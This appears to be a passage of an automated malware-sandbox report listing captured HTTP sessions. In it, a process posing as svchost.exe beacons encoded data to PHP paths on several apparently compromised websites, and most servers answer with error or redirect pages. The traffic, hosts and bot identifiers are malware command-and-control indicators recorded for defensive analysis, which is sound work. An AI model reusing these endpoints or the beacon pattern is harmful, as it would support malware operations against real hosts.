                                                                                                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:35:56 GMT
                                                                                                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                                                                                                    Content-Length: 178
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Location: https://monarchrentals.co.za/gMOvJe.php?z=xl59elj25q8m
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    11192.168.2.349761173.236.34.24280C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:01.463125944 CET6187OUTPOST /eOUnb4.php?i=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: intermountainautoglass.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:01.463275909 CET6187OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:01.463380098 CET6187OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666032076 CET6188INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                    Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                                                                                                    Link: <https://intermountainautoglass.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:36:01 GMT
                                                                                                                                                                                                                                                                                                    X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                                    Data Raw: 34 37 61 39 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 3e 0a 0a 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 41 72 63 68 69 76 6f 2b 4e 61 72 72 6f 77 3a 34 30 30 2c 35 30 30 2c 36 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 2b 43 6f 6e 64 65 6e 73 65 64 3a 33 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 69 6e 74 65 72 6d 6f 75 6e 74 61 69 6e 61 75 74 6f 67 6c 61 73 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 75 73 74 6f 6d 74 68 65 6d 65 35 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 69 6e 74 65 72 6d 6f 75 6e 74 61 69 6e 61 75 74 6f 67 6c 61 73 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 75 73 74 6f 6d 74 68 65 6d 65 35 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2d 33 32 78 33 32 2e 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 69 6e 74 65 72 6d 6f 75 6e 74 61 69 6e 61 75 74 6f 67 6c 61 73 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 75 73 74 6f 6d 74 68 65 6d 65 35 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2d 31 36 78 31 36 2e 70 6e 67 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 20 2f 3e 0a 09 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0a 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 69 6e 74 65 72 6d 6f 75 6e 74 61 69 6e 61 75 74 6f 67 6c 61 73 73 2e 63 6f 6d 2f 77
                                                                                                                                                                                                                                                                                                    Data Ascii: 47a9<!DOCTYPE html><html lang="en-US"><head><link rel="profile" href="https://gmpg.org/xfn/11"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes"><link href="https://fonts.googleapis.com/css?family=Archivo+Narrow:400,500,600,700" rel="stylesheet"><link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300,700" rel="stylesheet"><link rel="stylesheet" href="http://intermountainautoglass.com/wp-content/themes/customtheme5/font-awesome.css" type="text/css" /><link rel="icon" type="image/png" href="http://intermountainautoglass.com/wp-content/themes/customtheme5/img/favicon-32x32.png" sizes="32x32" /><link rel="icon" type="image/png" href="http://intermountainautoglass.com/wp-content/themes/customtheme5/img/favicon-16x16.png" sizes="16x16" />...[if lt IE 9]><script src="http://intermountainautoglass.com/w
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666066885 CET6190INData Raw: 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 75 73 74 6f 6d 74 68 65 6d 65 35 2f 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74
                                                                                                                                                                                                                                                                                                    Data Ascii: p-content/themes/customtheme5/js/html5.js"></script><![endif]-->... This site is optimized with the Yoast SEO plugin v15.8 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - InterMountain Auto Glass</title><meta na
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666086912 CET6191INData Raw: 2f 69 6e 74 65 72 6d 6f 75 6e 74 61 69 6e 61 75 74 6f 67 6c 61 73 73 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 63 6f 6e 74 61 63 74 2d
                                                                                                                                                                                                                                                                                                    Data Ascii: /intermountainautoglass.com/comments/feed/" /><link rel='stylesheet' id='contact-form-7-css' href='http://intermountainautoglass.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.3.2' type='text/css' media='all' /><link re
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666116953 CET6192INData Raw: 09 09 09 09 09 09 2e 6c 61 7a 79 6c 6f 61 64 2c 20 2e 6c 61 7a 79 6c 6f 61 64 69 6e 67 20 7b 20 6f 70 61 63 69 74 79 3a 20 30 3b 20 7d 0a 09 09 09 09 2e 6c 61 7a 79 6c 6f 61 64 65 64 20 7b 0a 09 09 09 09 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 09
                                                                                                                                                                                                                                                                                                    Data Ascii: .lazyload, .lazyloading { opacity: 0; }.lazyloaded {opacity: 1;transition: opacity 400ms;transition-delay: 0ms;}</style><script type="text/javascript">jQuery(document).ready(function($) { //Hide e
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666135073 CET6194INData Raw: 64 72 65 73 73 52 65 67 69 6f 6e 22 20 3a 20 22 49 64 61 68 6f 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 43 6f 64 65 22 20 3a 20 22 38 33 37 31 34 22 0a 20 20 7d 0a 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79
                                                                                                                                                                                                                                                                                                    Data Ascii: dressRegion" : "Idaho", "postalCode" : "83714" }}</script></head><body class="pg-"> <div id="m-nav"> <a class="nav-open"></a> <nav class="mob"> <div class="menu-mob-container"><ul id="menu-mob" class="menu"><li id="
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666150093 CET6195INData Raw: 65 6c 64 2d 63 61 6c 69 62 72 61 74 69 6f 6e 2f 22 3e 57 69 6e 64 73 68 69 65 6c 64 20 43 61 6c 69 62 72 61 74 69 6f 6e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 31 30 22 20 63 6c 61 73 73 3d 22 6d 65
                                                                                                                                                                                                                                                                                                    Data Ascii: eld-calibration/">Windshield Calibration</a></li><li id="menu-item-310" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-310"><a href="https://intermountainautoglass.com/locations/">Locations</a></li><li id="menu-ite
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666166067 CET6196INData Raw: 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 39 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6e 74 65 72 6d 6f 75 6e 74 61 69 6e 61 75 74 6f 67 6c 61 73 73 2e 63 6f
                                                                                                                                                                                                                                                                                                    Data Ascii: ype menu-item-object-page menu-item-79"><a href="https://intermountainautoglass.com/glass-chip-repair/">Chip Repair</a></li><li id="menu-item-82" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-82"><a href="https://i
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666246891 CET6198INData Raw: 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 6f 6d 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 38 34 22 3e 3c 61 20 68 72 65 66 3d
                                                                                                                                                                                                                                                                                                    Data Ascii: nu-item-type-post_type menu-item-object-page menu-item-home menu-item-84"><a href="https://intermountainautoglass.com/">Home</a></li><li id="menu-item-85" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-85"><a href="
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666313887 CET6199INData Raw: 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 39 30 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6e 74 65 72 6d 6f 75 6e 74 61 69 6e 61 75 74 6f 67 6c 61 73 73 2e 63 6f 6d 2f 72 65 6d 69 74 2d 70 61 79 6d
                                                                                                                                                                                                                                                                                                    Data Ascii: m-object-page menu-item-90"><a href="https://intermountainautoglass.com/remit-payment/">Remit Payment</a></li><li id="menu-item-86" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-86"><a href="https://intermountainau
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.666409969 CET6201INData Raw: 3d 22 6d 6f 64 61 6c 2d 62 6f 78 20 71 75 6f 74 65 22 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 51 75 6f 74 65 3c 2f 68 32 3e 0a 3c 70 3e 3c 65 6d 3e 46 69 6c 6c 20 6f 75 74 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 6f 72 6d 73 20 74 6f 20 72
                                                                                                                                                                                                                                                                                                    Data Ascii: ="modal-box quote"><h2>Service Quote</h2><p><em>Fill out the following forms to receive an accurate repair/replacement quote for your vehicles windshield(s). Response time is usually within 24 hours of submission. Contact us if you have any q
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:02.785563946 CET6202INData Raw: 20 2f 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 77 70 63 66 37 2d 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 77 72 61 70 20 79 6f 75 72 2d 65 6d 61 69 6c 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 6e 61 6d
                                                                                                                                                                                                                                                                                                    Data Ascii: /></span><span class="wpcf7-form-control-wrap your-email"><input type="email" name="your-email" value="" size="40" class="wpcf7-form-control wpcf7-text wpcf7-email wpcf7-validates-as-required wpcf7-validates-as-email" aria-required="true" ari


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    12192.168.2.349762136.243.138.2980C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.430452108 CET6207OUTPOST /v3H7qO.php?o=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: epatio.pl
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.430608034 CET6207OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.430692911 CET6207OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.457475901 CET6208INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:36:03 GMT
                                                                                                                                                                                                                                                                                                    Server: Apache
                                                                                                                                                                                                                                                                                                    Content-Length: 315
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    13192.168.2.349763208.80.122.280C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.866810083 CET6209OUTPOST /W4C1yQ.php?m=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: mobilityconsignment.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.866842031 CET6209OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.866903067 CET6209OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.978449106 CET6210INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:36:03 GMT
                                                                                                                                                                                                                                                                                                    Content-Length: 0
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Location: http://www.mobilityconsignment.com/W4C1yQ.php?m=xl59elj25q8m
                                                                                                                                                                                                                                                                                                    Server: Constellix HTTP Redirection


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    14192.168.2.349764152.199.21.17580C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.128628969 CET6211OUTGET /W4C1yQ.php?m=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Host: www.mobilityconsignment.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.184617043 CET6212INHTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                                                                                    Cache-Control: max-age=0
                                                                                                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:36:04 GMT
                                                                                                                                                                                                                                                                                                    Expires: Tue, 23 Mar 2021 10:36:04 GMT
                                                                                                                                                                                                                                                                                                    Server: nginx-rc
                                                                                                                                                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                                                                                                                                                    Content-Length: 548
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    15192.168.2.349765184.168.131.24180C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.672038078 CET6213OUTPOST /EZNpdK.php?t=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: ignitethewinter.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.672137976 CET6213OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
